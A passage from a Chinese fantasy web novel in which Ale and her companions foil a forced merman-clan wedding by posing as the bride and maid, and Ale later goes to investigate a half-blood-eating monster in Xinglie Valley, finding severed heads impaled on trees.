宫殿四周种着仙灵珊瑚,形态各异,以某种阵法整齐排列着,巨大的珍珠贝点缀在其中,水波中隐约倒映着某种符咒。
阿乐看着眼前这座剔透玲珑的玄晶宫,已然忘记刚才的不快,拉着叶敬亭看这看那,完全沉浸在这海底宫殿美景中。
一路走走看看,既然也走了一盏茶的时间,进入宫殿,侍卫整齐战列在两排,尽头有一人坐在镶嵌着水晶宝座之上,那人就是珞溟。
阿乐本以为这族长应该是满脸皱纹的帅老头,没想到珞溟不但俊美还如此年轻,皮肤竟跟晗落姐姐一般吹弹可破。
不自觉斜眼看了叶鹤一眼,叶鹤的丹凤眼略胜一筹。
“不知二皇子前来,末将有失远迎。”珞溟走到龙应身旁,单手放前胸微颔首,毕恭毕敬道。
龙应摆摆手,“别什么末将不末将的,在这里称我二哥即可,现在你可是鲛人族一族之长。珞族长,好久不见!”
几人互相寒暄完,珞溟走到珞子箐身旁厉声道:“方才为何打架?既然那么喜欢打,这几月你便去无涯岛吧。”
珞子箐张嘴想为自己辩驳几句:“族长,是她——”,珞溟一记眼光投来,他改口道:“珞子箐领命。”
叶鹤上前劝道:“珞溟族长,这也不是什么大事,是阿乐,两人切磋了一下。”
阿乐虽不知道这无涯岛是什么地方,但能感觉到绝对不是什么好地方,道:“对,我就是与珞队长打闹而已。”
珞溟余光瞟了一眼阿乐,悠悠道:“去吧。”
阿乐看着珞子箐不甘的背影,愧疚之情油然而生。
这时,一名鲛人前来对着珞溟耳语几句。
“二哥,几位上神,我准备了些饭菜,几位先用膳,待我处理完急事再来招呼各位。”珞溟说罢便跟着那鲛人离去了,看着两人行色冲冲,是遇到了什么棘手的事情吧。
看着身影消失在水波里,阿乐问道:“那个无涯岛到底是什么地方啊?”
叶鹤道:“据说是鲛人族为了锻炼士兵,捉了很多妖魔族关押在一个岛上,那些妖魔想要从岛上活着出去必须要赢过鲛人。”
“听上去倒不如叫‘炼狱岛’。”阿乐开始懊悔自己刚才确实冲动了些。
“鲛人族都是战士出身,对于自己的实战非常看重,就算没有你,也是需要修炼的。”叶敬亭宽慰道。
“对呀,阿乐姑娘不必太过担心。”龙应一起应声道。
此时,一个婢女前来准备引着几人去用膳。
“我去找洛汐贝。”叶鹤一阵秘音传来,叶敬亭点点头。
“方才来时路,我看到玄晶宫前那片仙灵珊瑚实在好看,我去问问能不能带几株回听书楼。顺便讨教下养护方法。”说罢,叶鹤头也不回转身走了。
龙应看着他离去的背影,眼眸微微眯起。
“龙伯伯,你不用担心他。他想要用这个让听书楼多赚钱,我们先去吃饭吧!”阿乐想起一路走来看到各种海鲜,想必这一桌也会是山珍海味。
一路走去,各种水晶石铺满地,折射出各色彩光,竟比那仙灵珊瑚还要好看。
婢女到了用膳地方为几位倒满琼浆便退守屋外。
经过这两日,阿乐与两人也熟络起来,没有那么拘谨,早就开始大快朵颐。
“这个你吃吗?”叶敬亭拿起一只虾,掌中灵力一过,虾肉便分离出来。
桌子上慢慢堆满了各类贝壳、残渣。终于,阿乐放下筷子满意的舔舔嘴。
她看着龙应桌前没怎么动过的筷子,问道:
“龙伯伯,不合胃口吗?”
“鹤老板去了那么久还不见回来,不会出什么事吧?”龙应道。
“都没有听到什么打斗声,应该不会吧。”其实阿乐也觉得奇怪,只是看些仙灵珊瑚怎么就那么久?莫不是真出事了?
“出去看看便知。”叶敬亭道。
成群的水母早在外面等候多时,待他们一出现便簇拥而上聚拢在他们脚下,照亮着路往大殿前引去。
几人在大殿前绕了几圈都未看到叶鹤的踪影,难道真出事了?
“谁不知道族长心悦的是珈珠族长啊!”前方有一对婢女走来,却并未觉察到他们的存在。
三人伺机躲在暗处听着她们聊天。
“音族长手段实在了得,居然能让族长娶了洛汐贝。”
“那晚要不是族长喝得酩酊大醉,那小女子怎么有机会进得他房间,也不知道当晚到底发生了什么事!”
“那天刚好我姐妹当差,说是第二天一天亮,房间里鸡飞狗跳,然后音族长就适时出现了,硬要族长娶了她女儿才肯罢休。”
“三日后就是结婚大典了,看着族长愁眉不展,不知道当日典礼会是什么样子。”
“还是担心担心自己吧,明日就要开始布
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置装扮新房了,又是没有休息日。”
“哎,什么时候才能发财啊,想去那兰陵城逛逛!”
“别一天瞎想了——”
待两人声音消失不见,三人才走出来。
难怪刚才珞溟急冲冲离开,看来便是与这件事相关。
说起这珞珈珠可是在早些年帮龙族立下很多大功。
早在大泽陆时,珞音与珞珈珠便有隔阂。珞音擅长音律,本是珞珈珠最得力的副手,一起上阵杀敌配合默契。随着珞珈珠担任位置越来越高时,两人关系慢慢疏远。本以为现在珞音也是族长,与珞珈珠平起平坐却还是不满足,用以己之欲来绑定女儿的终生幸福。
这本是鲛人族自己的“家事”,却又偏偏被龙应撞上,如果珞音女儿真与珞溟成了婚,不但珞溟会痛苦,珞珈珠的地位也会受到威胁。
更何况,龙应这才知道珞溟心悦的居然是珞珈珠。
龙应突然一声“哈哈”大笑起来。
“龙伯伯,他们说的族长就是珞溟族长对吗?所以现在是珞溟族长要娶一个他根本不爱的人?”阿乐不太清楚来龙去脉,不过刚才听两个女婢的意思就是这个。
暗夜中,叶敬亭认真听着阿乐说话。
“是呀,阿乐。婚姻本应该两个相爱之人在一起才能完成。现在却要娶一个不爱之人,实在是人生一大憾事!”龙应道。
阿乐深有感触点点头,她想到自己父母,哪怕是违反天规也要在一起,顿了顿,一个想法油然而生:“龙伯伯、亭哥哥我有一个办法。”
三人另寻隐秘之处。阿乐眼睛比那些仙灵珊瑚还要闪闪发光,叶敬亭一直盯着她眼神未曾离开半分。
不知过了多久,几名女婢才找到三人,奉珞溟之命前来安排妥了住宿,还顺道递来婚贴。
第一次在这海底过夜,珞溟特意为他们安排可以观测到深海鱼群的房间。
阿乐趴在窗口看着幽蓝深海,点点荧光照得沙底一片亮堂,游来游去的各种鱼群,有的前方好似点着个小灯笼在为自己探路,真是有趣。
看着看着迷迷糊糊就睡过去了。半晌,一道白影闪现,把阿乐抱上床仔细掖好被角才离开。
这两日叶鹤都未出现,刚开始阿乐、龙应还有些担心,却又觉得以他修为不会有事。只有叶敬亭满脸笑容,每日陪着阿乐到处看鱼拣贝壳。
期间珞溟出现过几次,不过都是与龙应寒暄几句又走了。
叶敬亭背着个小娄跟在阿乐身后,左手提溜一袋贝壳,右手不知拿着什么亮闪闪的东西。
龙应眼睛眯着自言自语道:“这—这真是叶敬亭?”
8. 泗州(下)
终于到了大婚之日,玄晶宫批霞带彩,一副喜庆的摸样。
婢女早早的便来送喜糖,却发现叶敬亭、阿乐的房间早已空空如也,只有龙应出现接了这喜气。
果然是族长大婚之日。
不止聚集整个泗州的鲛人前来拜贺,还有那鱼群也都在被隔开的水里簇拥围观,黑压压一片看上去既有人山人海之势。
珞溟不愧是泗州最俊美男子,虽一张脸看不出有半分高兴。丝毫不影响穿上的喜服乘得皮肤白皙透亮,只怕那新娘子都要失色几分。
龙应在迎亲队伍中站在第一排,神采奕奕的帅气为队伍增添不少气势。
吉时还未到,大家都在等着送亲队伍前来。
队伍中时不时便要爆发一阵小喧闹,侍卫前去查看才得知,原来是一心暗恋珞溟的鲛人哭晕了过去。
“叮咚隆咚呛”一阵欢快声隐约传来,人群开始热闹起来,看来送亲队伍快到了。
珞溟脸上闪过一丝不自然,不知道是要面对新娘子的紧张还是要见到谁。
此时同样与他一样紧张的,还有在那送亲队伍喜轿里的新娘子,或者说是阿乐假扮的新娘子。
昨天夜里,阿乐与叶敬亭便偷跑去找新娘,经过这几日假装捡贝壳的观察大致锁定了地方。有叶敬亭在,两人躲开了侍卫,强行进入了房间。
一开始洛汐贝还以为是坏人,直到确认了是神族的人才松一口气,他们在那里还发现了叶鹤。阿乐才知道原来叶鹤来泗州为的就是救新娘子。
原本叶鹤的计划是自己假扮成新娘的摸样,待拜完堂再假装喝药自尽。这个方案及其凶险,届时泗州全部族长都会在现场,怎么可能会发现不了他。
洛汐贝不同意,两人就这样僵持了两天。
直到阿乐出现,两人几番劝说,新娘子才勉强点头。
经过一晚上的折腾,今早阿乐昏昏沉沉睡了一路,娇子外的“陪嫁丫鬟”低声提醒这才醒过来一些,却又开始紧张。
“亭哥哥,我有点紧张。”阿乐小声对着“陪嫁丫鬟”道。
“有我,放心。”简单几个字,阿乐又稍微安心了些,况且还有龙伯伯在,就算被识破也不会有事的。
定了定心神,欢呼声越来越大,看来是到了。
“新娘子下轿!”婆子的声音盖过所有,欢呼声渐渐平息下来。
阿乐拉了拉盖头,抚平裙子两边因紧张抓出的褶皱,除了怕被认出来,毕竟也是第一次做新娘子。
一只修长的手抓起帘子缓缓掀起,从盖头缝隙中隐约见到叶敬亭丹眉朱唇,穿着这大红色女装倒也不违和,阿乐“噗嗤”一声没忍住笑出声。
“嘘!”叶敬亭接过阿乐的手,牢牢抓住。
没那么紧张了,道路两旁站满了各地赶来的鲛人。
最前方站着两个人,看着这挺拔背影,想来应该就是珞珈珠和珞音了。
喜乐再次奏响,伴随着鲛人特有的吟唱,水母三五成群点亮了幽蓝的深海,四处挂制着夜明珠悠悠发着亮光,即把这深海照得通亮。
“别紧张。”叶敬亭声音低低传来,提醒着新娘子上台阶。
在盖头下阿乐清晰听到自己喘息声还有蹦蹦心跳,手不自觉抓紧那只宽厚的手掌,感受到手掌回握了下传来的温度。
“吉时已到,准备拜天地。”喜婆大声喊道。
阿乐手还被紧紧握住,喜婆又大喊一遍:“吉时已到,准备拜天地。”
“亭哥哥,我没事!”阿乐压低声音道。
半晌,手掌才慢慢松开,既有几分舍不得味道,阿乐又听到自己蹦蹦心跳声。
一道黑影靠近,“别紧张。”一阵低沉声音从身旁传来,这次是珞溟。
欢呼声越喊越高,大家看到这样一对壁人,不管到底在呼喊的是什么,在他们耳朵里听到的都是欢呼声。
喜乐继续奏,吉时已到。
“一拜天地”
“二拜高堂”
把茶碗递给珞音,阿乐长输一口气,一切都很顺利。只要最后一拜,然后假装身体不适不能出来陪酒,这一切就都过去了。
“夫妻对拜”
两人听从喜婆转了方向,面对面站着。
“慢着。”珞音放下茶碗,缓缓向新娘子走来。
阿乐下意识向后躲了一下,手腕却被狠狠捉住。
眨眼间,袖口已被撕破,露出一截洁白无瑕的手臂,阿乐迅速收回,叶敬亭已然挡在前方。
“哦?这位丫鬟我怎么重来没有见过?”珞音再次发难。
“珞音族长,莫不是又改主意了,这人生大事你说开始便要开始,说要停止便要停止?”珞溟声音带有一丝嘲讽。
“到底怎么回事?”珞珈珠声音带有威严,两人停止争执。
一阵风快速略过,阿乐盖头从空中飘起又飘然落下。
现场一片安静。
“你是谁?”珞珈珠道。
珞溟转头看到穿着一声华服的阿乐,也认出了这名女扮男装的“陪嫁丫鬟”。却并未有太多惊讶,淡定道:“他们是我的客人。”
“所以这就是你一手策划的婚礼?我女儿呢?”珞音脸色微怒。
不知从哪儿冒出一队侍卫把现场团团围住,刀锋对着珞溟。须臾间,又冒出一队侍卫拦在珞溟前,刀锋与之相对。
“大家有话好好说,这两位都是我神族的朋友!”龙应走上前急忙道。
珞珈珠、珞音看到突然出现的龙应,单手放前胸微颔首:“不知二皇子也在这。”
龙应摆摆手拉起珞珈珠、珞音道:“不必多礼。”
围站在殿前的群众看着发生的一头雾水,看到“台上”兵戎相见也不见离去,甚至已经开始众说纷纭。不知道明天要传出多少“族长一手策划逃婚”、“婚礼现场新娘不翼而飞”的各种话本。
“进殿说清楚。”珞珈珠发话。
侍卫们把来参加婚礼的鲛人遣散,围守在玄晶宫外。
“真是胡闹!”珞珈珠的声音在大殿内回荡。
“你们知道这件事吗?”龙应、珞溟看向珞珈珠的质问,同时摇摇头。
叶敬亭已换回原来装扮,一袭白衣站在阿乐身后直挺挺站着,要是不知情的人看到还以为他才是被冤枉的那一个。
“那我女儿呢?被你们带到哪儿了?”珞音强忍着怒气,她对神族还是忌惮三分。
殿外一阵吵闹,随后有士兵前来正在禀报,外面吵闹之人便闯了进来。
“都是我求他们帮我的,这件事和他们没关系。”前来之人正是洛汐贝,一头金黄的长发,配上忽闪忽闪的棕绿色眼眸,阿乐顿时呆了一瞬,太美了。
“族长,要罚就罚小女一人。”洛汐贝顺势跪在殿前,眼神直盯着珞珈珠,并未看她母亲一眼。
叶鹤也款款走来,在他身旁还有一个身形健壮的侍卫,却又看上去比侍卫更有气势。
“我已经到了,不劳珞元迹族长相送。”叶鹤道。
珞元迹是西泗洲的另一名族长,从很小时候便是珞珈珠的小跟班。方才正是他与叶鹤在外吵闹。
珞珈珠对着珞元迹点点头,他这才退下。
珞音看着神族这一个个,手指上的戒指被捏得粉碎,她盯着跪在下面的洛汐贝,恨不得立马抓回去关起来。
“说,怎么回事。”珞珈珠语气不容质疑,带着威严。
洛汐贝便把自己如何被关进珞溟房间,到母亲如何逼迫他们成婚一股脑全说了出来。
珞音脸色铁青,珞珈珠瞪了她一眼,没说什么。
“那今天这一出也是你们谋划好的吗?”珞珈珠缓缓道。
“是我——”洛汐贝被叶鹤打断,“珞族长,这与洛汐贝没有关系,一切都是我筹划的,这假新娘、假丫鬟也是我请来帮忙的。”
不等其他人说话,白扇一展便自顾自说了起来。
“人生那么漫长,两个人在一起应该是要以相爱为基本的。若只是因为莫名其妙被关在一个房间,并且根本没有发生什么就以‘爱’为名、以‘保护’为名便要与一个根本不爱的人度过一辈子,这是得多恨才能做出这样的‘惩罚’?”叶鹤白扇拿在手中,一副说书先生的摸样。
“我们先来问问这位新郎官,请问你真的喜欢这位新娘吗?”大殿里所有人的目光在珞溟身上聚拢。
珞溟抬眼看了一眼珞珈珠道:“那晚上我喝得大醉,再睁开眼便看到汐贝在我房内,接着珞音便来了。洛汐贝也算是我看着长大的,我一直把她当做小辈。”
珞音脸色越来越差,狠狠道:“那你那天为何不拒绝,偏要等到现在?”
“你当时怎么跟我说的,需要我重复一遍吗?”珞溟淡淡回道。
珞音一掌拍碎面前的桌子,指着珞溟道:“你——”
“大家都看明白了,今天的这场婚礼本就是一场闹剧,他们若真是成婚,那才是泗州最大的悲剧。珞溟族长才
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是对自己、对对方最大的不负责。”叶鹤说罢对着阿乐眨眨眼,阿乐听着这些话感动得眼眶含泪,看到眨眼又笑了起来。
“那你说,你爱谁!嫁给族长,以后对你有什么坏处?”珞音顺着台阶走下,对着洛汐贝吼道。
“我——”洛汐贝瞟了一眼叶鹤站的地方,一时语塞,她怎么可能在这里说出他的名字。
就这一瞬被珞音尽收眼底,她看了一眼叶鹤,来到洛汐贝面前低低吼道:“你喜欢的人你能在一起吗?你忘了天规是什么了吗?就算你愿意触犯天规,他愿意陪你吗?你不要命了吗?”
洛汐贝看着咄咄逼人的母亲,字字诛心,眼泪顺着嘴角滑下:“我—我—”
“珞音!”珞珈珠终于发话。
“这是我女儿!”珞音愤愤回道。
“她也是鲛人族一员。”珞珈珠并未退让,语气带着族长的压迫。
珞音并未放手,两人僵持住,殿内无人敢说话。
阿乐有些紧张的拉着叶敬亭袖子,叶敬亭回头看了看,手覆在她手上轻轻拍了拍以示安慰。
“我看这洛汐贝是个好苗子,要是族长不嫌弃,我先带回大泽陆吧。”龙应连忙出来打圆场,现在也只有他的身份地位可以收拾残局。
珞音只好收手,去大泽陆也能学到不少东西,最好是离那些神族的人远一些。
龙应被几名族长缠住暂时脱不开身,珞元迹先护送阿乐、叶敬亭、叶鹤几人到出口。
那片沙滩还是来时摸样,阿乐看着这片蓝海,心情与来时大为不同,
“鹤哥哥,你喜欢她吗?”阿乐突然认真的看着叶鹤。
叶鹤一个踉跄差点没站稳,他斜了叶敬亭一眼道:“她是我一个老朋友!朋友遇到这种事,肯定要帮忙啊。”
阿乐凑近道:“你确定,只是朋友而已?”
叶鹤失去平时从容的摸样,慌忙从沙里抛出一段珊瑚礁试图转移话题:“啊呀,忘了讨要几株仙灵珊瑚,可惜了,下次再来也不知得哪年哪月了。”
“你不要转移话题,你说,你快说!”
“你就说那珊瑚是不是很漂亮?”
“你动心了,你肯定动心了!”
“嘘,这还没离开泗州呢,一会那珞音来捉你了。”
“我才不怕,大不了打一架!”
“我可不打,你自己去打。”
“亭哥哥会帮我!对不对亭哥哥。”
“他才不会帮你,你看他天天板着个脸,一看就不是乐于助人之人”
“你乱说,你才是!”
叶敬亭满脸笑意看着两人打闹,这样的日子仿佛曾经也有过。
一阵“哗啦啦”声从海面传来,龙应与洛汐贝一起出来了。
“鹤大哥,我有话与你说!”洛汐贝对着沙滩上那个长发飘飘的喊道。
“哇哦—”阿乐在一旁起哄。
两人去了沙滩很远的地方,阿乐远远盯着两个人影对叶敬亭道:“亭哥哥,你说他们还会再见面吗?”
叶敬亭手掌在袖子里慢慢握紧,顿了顿才道:“只要想,就会的。”
这时,龙应走近对着阿乐道:“阿乐,常来大泽陆玩,龙伯伯带你去吃遍美食!”
叶敬亭听着这话里有话,还有别的意思,警惕的看向龙应,看着他摸样仿佛又只是在客套。
过了一盏茶的功夫,两人才回来。
经过一番客套,四人这才一一道别。
待回到听书楼已经是深夜了。
若楼这几晚都点通灯等他们回家,这深夜听到动静便跑出来看,看到几人平安无事才安心回去睡下。
阿乐早就困得睁不开眼,一到听书楼便睡下。现在房间里只剩下叶敬亭、叶鹤两人了。
叶鹤把玩着手中的水滴吊坠道:“看来,要回清灵山一趟了。这一顿闹腾,师尊肯定早有耳闻,与其等着被召唤,不如自觉去领罚。”
叶敬亭轻轻“嗯”了一声。
“估计阿乐身份也保不住了,师尊早晚也得知道。”叶鹤轻轻叹了口气接着道:“早知道就不带她去泗州了,谁曾想她会假扮新娘。”
叶敬亭看向窗外眉头轻蹙,半晌才开口:“自从流云灵尊仙逝以后,师尊对‘混血儿’似乎放松了一些。”
“你确定?”叶鹤收起手中的吊坠,认真道。
“嗯。”叶敬亭笃定回道。
“好,那明天我安排一下,我们先回清灵山。”
9. 独守
听书楼依旧人来人往。这天下不管发生什么事都会以最快速度在这里被编成话本,只要够精彩就能大赚一笔。
最近最火的话本居然是“珞溟大婚”,这才短短数日,既然已从泗州传到这儿。
这个话本有很多版本,“鲛人族长大婚之夜惨遭逃婚”、“鲛人族长欲擒故纵强制爱”、“绝美柔弱少女与霸道脆皮族长”等等等等,只有“鲛人族族长为爱毁婚”这个版本深受女顾客的喜爱。
说话本的人很多,最受欢迎的还是那妙嘴爷。
每当妙嘴爷说到,“那珞溟长着一张俊美无比的脸,穿着那喜服却没有一丝喜庆,在他心里这一日可不是什么大喜之日,他心爱之人可不在那喜轿里!”
“那在哪里?”
“当然是坐在他喜宴上啦。一边是作为族长的道德与责任,一边是自己的心爱之人。”
“哇——”
“大家看,这幅画像,就是妙爷我重金花钱买到的,大婚当日,珞溟族长一袭华服,望向那宴席中的心爱之人。”
“哇—珞溟族长果然好帅!”
“痴情又那么好看——”
“只要五文钱,把这画像挂在家里,你也会等到属于你的爱情!”
这样的场景阿乐已经看了不下十次,每天都有新的围观群众,他的画像都会卖得很好。
这也是叶鹤、叶敬亭走后的第十天了。
不过这几天,阿乐可没闲着。王一林经常来听书楼,有时候一来就是一整天,要不就是带着阿乐出去游山玩水,或者去大街小巷尝遍美食。
现在阿乐一口一个“大哥”,每天都很充实,根本没空想念他们俩。
这天刚黑,阿乐手上提着大包东西正乐呵呵的回来了。
若楼顺手接过阿乐手上的东西,看了一眼道:“这是沈记糕点铺啊,他们家可难买了,我好几次去排队都没买着。”
“嗯嗯,大哥大清早去排队买的。”阿乐顺口答道,“那个加了果干的葡萄酥特别好吃!”
“那王大哥呢?”若楼看看门外,没其他人了。
“他说有事要处理先回去了。”阿乐踏进大厅看着中央满满当当围着一圈人,根据经验,能引起那么多人围观的话本要不是时事要闻,要不就是妙嘴爷那种话本编排得及其吸引人。
不管是哪一种,那都该是极好的故事。
尝试了一下挤不进去,想绕到二楼去看热闹。
“饭一会送你屋里!”若楼看着向楼上跑去的阿乐喊道。
“好!”
待阿乐好不容易挤入前排,看来故事已经开始一会儿了。
“那你是怎么跑出来的?”围观群众问道。
只见说书人把长袍一撩,露出白生生的半截假腿,用手上的竹杆敲了敲道:“折了半条腿,才跑出来的。”
“那怪物还在星裂谷?”
那说书人思忖一会点点头。
旁边围观群众这下可炸开了锅:
“星裂谷离我们这儿不远啊,不会哪天跑出来了吧!”
“不会吧,这可是朝都,大把修真人士,不会放任不管的。”
“那要管,早就派人去了。”
“我晌午的时候,看到有王族士兵出城了。”
阿乐听了一半一头雾水,到底是什么怪物啊?
捣了捣站旁边的“大哥”,问道:“到底是什么东西啊?”
“大哥”把嘴里的瓜子皮吐了出来,上下打量了下,才凑近耳朵细声细气的说道:“据说是一个专吃修真人士的怪物,特别是那—”,须臾,手遮住嘴巴声音压低了很多:“特别是吃那混血儿!”
“——会吃混血儿的怪物?”阿乐暗自思忖,这还真是第一次听说。若真是有这样的怪物,吃了那么多混血儿还活着,那“浮生烬”能量是去哪儿了?
阿乐向店小二要了瓶酒送给“大哥”以示感谢,自己则向着城外跑去。
都知道混血儿体内与生俱来携带的“浮生烬”爆发时是可方圆百里内生灵涂炭,居然有怪物可以吃混血儿,这可值得冒险去看看。
此时离关城门还有半个时辰,没想到这城门口进门的人比白天还多。
只有阿乐一人逆流而行。
阿乐刚要出去便被士兵拦住:“那么晚为何还要出去,不知道最近外面不太平吗?”
“不太平?哪里不太平?”阿乐追问道。
“星裂谷那边出现怪物作乱。”士兵如是说道。
“这样啊,谢谢大哥,我不去星裂谷,没事的。”阿乐笑呵呵道。
士兵打量着阿乐不像是普通人,便嘱咐了几句注意安全便放她走了。
看来星裂谷果然有怪物,阿乐摸了摸在别在腰间的“寒冰”剑,传来冰冰凉凉的触感,心里顿时踏实了几分。
星裂谷。
这地方阿乐来过,在人间游历的时候路过这里,也是这般晚上,天上的星星细细碎碎铺满整片夜空,还记得本来要赶路回兰陵城,却在这树枝上看着星空便睡着了。
今夜星空依旧一片晴朗,只是没有心情在慢慢欣赏了。
这地方有很多梨树,之前也叫梨花谷来着,后来因为在这里看到星空实在太美了,才改了名。
阿乐在乾坤袋了摸出一颗夜明珠,这是在泗州的时候叶敬亭送她的,现在倒派上了用场。
夜明珠散发着一圈柔光,刚好能照明前路。
与记忆中的样子不太一样,地上很七竖八倒了很多梨树。可惜了,这些梨树少说也有上百年,看样子都是连根拔起,看来这怪物戾气倒是不小。
小心避开这些树枝,往深处走去。
估摸着也就一炷香的时间,这里与外面已是另一番风景。
一阵清风吹过,风里掺杂着浓烈血腥味。
阿乐举起夜明珠向四周照去,这里的树怎么有些与众不同,开花结果不都应该是在树枝上,怎么这些树都是果子接在树干上?
难道是果子太大,会压弯树枝,进化成这样的?
那到底是什么果子?
阿乐举着夜明珠就近爬上一颗树,准备探查一番。
“啊——”半晌,一声犀利的喊叫声划过夜空,阿乐从树上翻了下来,没忍住蹲在地上干呕起来。
这哪是什么果子,分明就是生扯下来的头颅,被这怪物一颗颗插在这些树上。
这些头颅表情看上去异常狰狞痛苦,显然还停留在刚被撕扯开的那一瞬间。
呕了半天,才稍微平息下来。抬起手擦擦嘴角,感觉到手掌上怎么黏黏糊糊,夜明珠一照,是方才爬树时沾染上的血迹。
又是一阵干呕。
“真是要了命了
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,早知道这怪物那么凶残就明早再来了。——起码就不会爬树了”阿乐心中自言自语。
此时,前方传来几声声响,阿乐警惕的握紧“寒冰”,仔细分辨着声音。
不像是野兽的嘶吼声,有几句甚至还能依稀听清楚,不对,自己怎么会听得懂怪物说话呢。
是人。是不是听到刚才自己那一声尖叫引来了。
“窸窸窣窣”的脚步声越来越近,阿乐收起夜明珠伺机躲在草丛中。
“刚才明明还有听到声音。”其中一名女性声音说道。
“很清楚,肯定是人发出声音。”另一人是男性声音,接话道。
“再找找,这大半夜还能来这地方的,肯定是修士。”第三个人声音沉稳说道。
阿乐暗自观察着这三人灵力修为一般,话语间不像是要加害自己的样子,不如一起行动,说不定还能打探到更多消息。
“咳咳”阿乐从草丛中显出身来,三人被突如其来的声音吓得往后退了几步。其中两人躲在一人身后。
“你是谁?”站在最前的那人问道。
“你们不是在找我吗?”阿乐祭出夜明珠点亮周身,这才看清楚这三人摸样。为首的是一名身形健硕的成年男子,身后探出头的一名是年轻女子,另一名男子看着身形比较瘦弱,不知成年了没有。
“大哥,她有夜明珠啊!”这位“大哥”身后传来一句惊叹。
“——”阿乐没想到一颗夜明珠也能引起赞叹,随即自我介绍道:“我是阿乐,听闻这有怪物出没,想来看看。”
“大哥”身后蹦蹦跳跳出一名女子,声音活泼道:“我叫芷晓茶,这是我大哥芷萧,这是我小弟芷明。”
“姐姐,你这夜明珠是从哪里得到的,好漂亮啊!”芷明上前盯着这悬在空中的珠子两眼放光,似是第一次见到这样的东西。
“你喜欢就送你一颗!”阿乐从小都是一个人,没有哥哥、也没有弟弟,看到这兄妹三人心中顿时有些羡慕,毫不犹豫从乾坤袋里摸出一颗递给芷明。
芷明伸手想要接过,却被一声厉喝顿住:“阿明,不可接受别人贵重的东西”,顿了顿声音小了些继续道:“我们还不起。”
“啊呀,大哥,明明喜欢就破一次例嘛,大不了出去我给这位阿乐姑娘做几身漂亮衣裳。”芷晓茶从阿乐手中接过,又递给芷明。
芷明怯生生的瞄了一眼芷萧,见没说什么才接过。
“阿乐姑娘,真是对不住,我这弟弟就是喜欢一些新鲜玩意,等出去,我再赔你钱。”芷萧看上去一副不好惹的样子,态度又是很谦卑,大半夜三人出现在这,实在是让人忍不住好奇。
“没事,没事,这些都是身外之物。对了你们见到那怪物了吗?”阿乐好奇道。
“见到了。白天我们还见到从兰陵城来的士兵进入了深谷。”芷萧见阿乐就一人,稍微放松了警惕,如是说道。
须臾间,深谷传来一阵咆哮,虽然隔着一段距离,却也让这里的树木微微颤抖。
“咕噜噜”好似什么东西从树上掉落,又一路滚了下来。
阿乐想起方才看到的那些头颅,胃里又是一阵翻滚,芷晓茶道:“大哥,我们要不带阿乐姑娘先回营地吧,我看那群士兵还需要些时间。”
芷萧对着方才咆哮声的地方思忖片刻,才点点头表示同意
10. 星裂谷
说是“营地”,其实也就是找了个可以避风遮雨的地方。
阿乐看着这里搭着一堆柴火,还有一些被褥,道:“你们在这住了多久了?”
“也就三天。”芷萧找了个还算干净的杯子,倒了一杯水递给阿乐。
“我们平时也就靠打一些精怪为生。这次也是有顾客来下单,说想要一块这怪物的肉,所以我们才来这里守着。”芷萧道。
“结果来到这一看,这怪物可不是普通的精怪,还——”晓茶看了一眼抱着夜明珠开心不已的芷明继续道:“还专吃混血儿。我们一看根本捉不住,还在想办法,这就看到兰陵城的士兵来了。”
“阿乐姐姐,那你呢?怎么大半夜跑来这里?”篝火倒映在晓茶眼中,忽闪忽闪。
“我就是听说这边有怪物,挺好奇的,来凑凑热闹。”阿乐看着晓茶明亮的眼眸,忽的有些心虚,赶紧喝了一口水。
“姐姐,你是神族的人吧!”晓茶忽然靠近,指了指她腰间的“寒冰”。
阿乐松了一口气,对呀,以他们的修为怎么可能探查得到自己的灵力。
“晓茶——”芷萧轻声呵斥。
“没事,没事。晓茶说的也没错。”阿乐连忙摆摆手,自己确实有一半神族血统,这样说也没错的。
“那你是来收了这怪物的对吧!那能不能就留一块肉给我们?”晓茶拉着她手撒娇道。
“——好说,好说。”阿乐有些心虚干笑着,自己这点灵力,能自保就不错了,但又不忍心熄灭了晓茶的希望。
“阿明,别玩了。晓茶你带着弟弟先去休息,今晚我会守夜。”芷萧厉声道。
“那大哥,有情况就立马喊我们。”晓茶打着哈欠抱着被褥拉着芷明走了。
阿乐找了颗大树爬上去,窝了个舒服的姿势闭眼养神。
没过一会身上一沉,睁开眼原来是芷萧扔来了一床被褥,“阿乐姑娘,晚上天凉。”
阿乐摆摆手示意了下,没忍住道:“他们俩是混血儿吧。”
芷萧身形顿住,缓缓转过身眼眸红润,须臾才点点头。
原来芷萧是人族孤儿,从小被一对道侣收养,他天资还行,修炼的也很顺利。他以为这样的美好日子会一直过下去,直到有一天他养父母被一群修真人士抓走,他才知道原来这世间有一条天规,是各族人之间不能通婚,不然会遭天灭。他也才明白原来收养他的那对道侣,一个是人族、一个是龙族,虽然相爱却不敢要孩子,这才收留了他。
可是他也想不明白,为什么都不要孩子了,还要被抓走。
芷晓茶和芷明就是混血儿,父母被抓住之前拼命把他们藏起来。最后却再也没能回来,芷萧就一直带着他们生活。
芷萧在说这些的时候非常平静,好似在说的是别人的事情。
可想他也是经过了多少日夜折磨,多少次燃起希望又被多少次磨灭才能这样平静。
阿乐抬头看着夜空的星星,那么美好又那么遥远,迷迷糊糊好像又听到了阿娘的声音:“小阿乐,阿娘今天做炖牛肉给你吃好不好。”
只有在梦里的时候,她才能看到爹爹和阿娘,有时候想就这样一辈子不要醒来,只要有他们在,在哪里都可以的——
被一阵吵闹声叫醒,阿乐感到自己脸上一片湿润。
“阿乐姐姐,快醒醒,你看那边——”阿乐立马打起精神,胡乱擦了一把脸,顺着晓茶手指方向看去,一片灵力乍起,点亮了半片夜空,随即一阵阵野兽嘶吼声传来。
看来是那群士兵与怪物缠斗在一起了。
三人匆匆赶去,亮光越来越近,嘶吼声越来越大,只觉得耳朵震得生疼。
本以为是什么凶神恶煞的长相,却看到一群士兵中围着的是一只龙身妖面的妖兽,这妖面乍一看还有些清秀。
“这——是龙族与妖族的混血儿吗?”晓茶道。
还真有这个可能,只是这龙身又有些奇怪,尾巴部分有点像鱼尾,“感觉还有鲛人的鱼尾。”阿乐补充道。
“不会是三族混血?”芷明道。
四人面面相觑,这到底是个什么“东西”?
士兵们刚吃过这个妖兽的苦头,对着它这幅“清秀”长相不敢掉以轻心,祭起武器剑锋对内,发起新一轮的攻击。
这妖兽看着这些飞来的剑不但不躲闪,转而对天长啸,声音震响整片山谷。
“快封锁七窍!”有士兵喊道,却也来不及,三成以上的士兵耳朵开始冒血。
阿乐转头看向晓茶、芷明,两人躲在芷萧怀里痛苦的捂住耳朵,随即指尖捏诀轻点了下两人耳朵,才堵住这嘶吼声。
